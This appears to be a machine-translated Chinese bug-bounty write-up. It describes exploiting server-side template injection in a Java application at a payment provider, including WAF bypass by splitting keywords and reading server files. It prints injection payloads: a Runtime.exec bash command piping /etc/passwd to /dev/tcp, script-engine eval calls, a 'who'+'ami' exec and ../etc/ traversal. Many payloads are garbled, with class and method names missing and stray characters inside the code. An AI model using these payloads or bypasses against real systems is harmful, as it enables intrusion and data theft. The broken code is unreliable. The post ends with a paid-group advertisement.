大家好,这是我第一篇关于我在寻找漏洞时发现的长篇文章。
初始立足点
我正在浏览一个网站,我注意到这是亚洲领先的支付系统提供商。所以,当我查看这个网站时,我发现它在传递参数方面有一个奇怪的问题(感谢 :D)。它反映了发送到请求参数的内容,但有一个小的:)
这叫做 SSTI,意思是从用户端发送的东西被注入到服务器中并执行,如果我们提供的服务器真的能理解它,它就会显示那个特定的结果。在本例中,我提供了 ${7*7},作为响应,它将其执行为 7*7,结果为 49。这意味着它容易受到服务器端模板注入 (SSTI) 攻击。您可以在此处或此处了解更多信息。对上述请求的响应如下:
此时,我不知道从哪里开始,所以像往常一样,我做了正常的事情,即复制粘贴所有 SSTI 加载。只有一小部分有效,我立即报告了该漏洞。但我仍然觉得我错过了什么。过了一会儿,团队回复说我可以做些什么来将问题升级到严重或高度严重,这激起了我的兴趣,我决定更深入地研究这个话题。所以,我开始阅读一些与 SSTI 和表达式语言注入相关的博客和文章,但没有成功。可以肯定的一件事是该应用程序正在使用 Java,这是一种简单而强大的语言;)
我面临的另一个挑战是该应用程序位于防火墙后面。所以我尝试做的任何事情都会以失败告终。因此,我决定放弃。
这是我尝试过的,被 WAF 拦截的那个:
$%7btrue.getClass().forName(\%22Java.lang.Runtime\%22).getMethods()[6].invoke(true.getClass().forName(\%22Java.lang.Runtime\%22)).exec(\%27bash%20-c%20\%22cat%20/etc/passwd%20%3E%26%20/dev/tcp/%200%3E%261%22%20%27%20)%7D
深入了解发展轨迹 在获得工作团队成员的支持后,旅程仍在继续,现在我开始更多地探索这个主题并理解这门语言。我首先阅读了一些与表达式语言注入相关的博客,并发现了这个很棒的博客。如本博客所述,我可以使用它创建一个实例,并使用它来执行 Java 代码。我使用了以下内容:
${‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance()}
因此,要找出它使用的脚本引擎类型,我们可以使用 -${'a'.()。('..').().('')}
相反,要获取语言名称和版本,请执行以下操作 —
${'b'.() 的('..').().()[0]. ()}
${'a'.() 的(‘..’).().()[0]. ()}
起初我很兴奋,因为我从上述请求中得到了一些结果。但是在使用 exec() 或 eval() 之后,有一个真正的挑战,因为正如我之前提到的,它们会被 :( 检测到这是一个带有 eval 函数的 -${'a'.()。('..').().('').eval(“new+java.lang.(' test')”)}
所以我认为这行不通,我从头开始再次尝试从服务器获取一些敏感信息。
我使用了 ${.(“ java.lang.”)。(“user.home”)}

这种方法不起作用,我需要使用相同的技术才能看到结果。绕过 WAF 因此,向前发展的唯一方法是绕过 WAF 来检测特定功能。在测试函数时,我尝试使用 () 和 () 而不是 eval() 和 exec(),发现它只检测到关键字 eval 和 exec,而不是 或 。因此,在知道我需要一些关键字 eval 或 exec 以及一些研究后,我找到了 GBK 编码技术。所以我把“(”换成了 \\,因为我知道使用的语言是 Java。所以现在我的函数被更改为 eval\\),并且它成功了。:D
所以我使用以下代码来获取一些敏感信息。
${'b'.() 的(‘..’).().('').eval\'java.lang..(“user.home”)')}
我有应用程序用户的主目录:D我注意到的另一件事是 WAF 检测到了 “” 等关键字和 “”、“etc/” 等命令。所以我决定使用这些关键字作为 “run” + “time” (连接方法),它的效果:D现在,我正在尝试通过组合以上所有内容来找到 RCE。所以我使用了我之前提到的同一个博客。
test${'b'.() 的(‘..’).().('js').eval\'java.lang.Run'+'time.().exec\“who”+“ami”) 的()’).()}
这意味着我成功启动了 Unix 进程的实例。但它什么也没做。我试图以同样的方式传递反向负载,但它也没有用:( 我努力尝试并尝试了许多方法来获得反向负载,但徒劳无功。但在这一点上,我仍然很高兴,因为我设法绕过并获得了一个内部目录以向团队报告。在从办公室回家的路上想了想,我想“为什么不尝试通过一些 Java 文件读取技术来获取一些敏感信息,比如 etc/?“我试图进一步研究这些方法,看看我是否能够提取或读取敏感文件,我找到了一种方法。我可以使用java.nio.file..(java.nio.file.. get('')).get(0) 方法从服务器获取敏感文件并读取它们。检波
${'b'.() 的(‘..’).().('js').eval\'java.nio.file..(java.nio.file.. get(“../../../../../etc/“)).get(1)')}
${'b'.() 的(‘..’).().('js').eval\'java.nio.file..(java.nio.file.. get(“../../../../../et“+”c/“)).get(1)')}
我能够使用这种方法读取服务器文件。此时,我非常兴奋,向团队报告了情况,团队表扬了我,该漏洞立即被评为严重:)
提高 bug 狩猎/研究技能的技巧
读,读,读。尽可能多地阅读与 CVE 或新技术相关的最新文章,如果可能,请尝试练习一些相关的实验。
尝试中途休息一下。我知道,有时候当我们致力于某件事时,当没有结果时,我们会想放弃,我们永远不应该放弃。有时,当您外出兜风时,您可能会获得一些新的想法:D
尝试查找可能的编程代码示例,以及是否存在代码注入。
感谢您阅读本文。我希望我能以某种方式帮助你:D
特别感谢
我非常感谢所有在我的漏洞挖掘之旅中支持我的团队成员。非常感谢:D
如果你是一个长期的人,欢迎加入我的知识星球,我们一起冲,一起学习。每天都会更新,精细化操作,微信识别二维码支付即可加入,如不满意,可在72小时内在应用内无条件自助退款。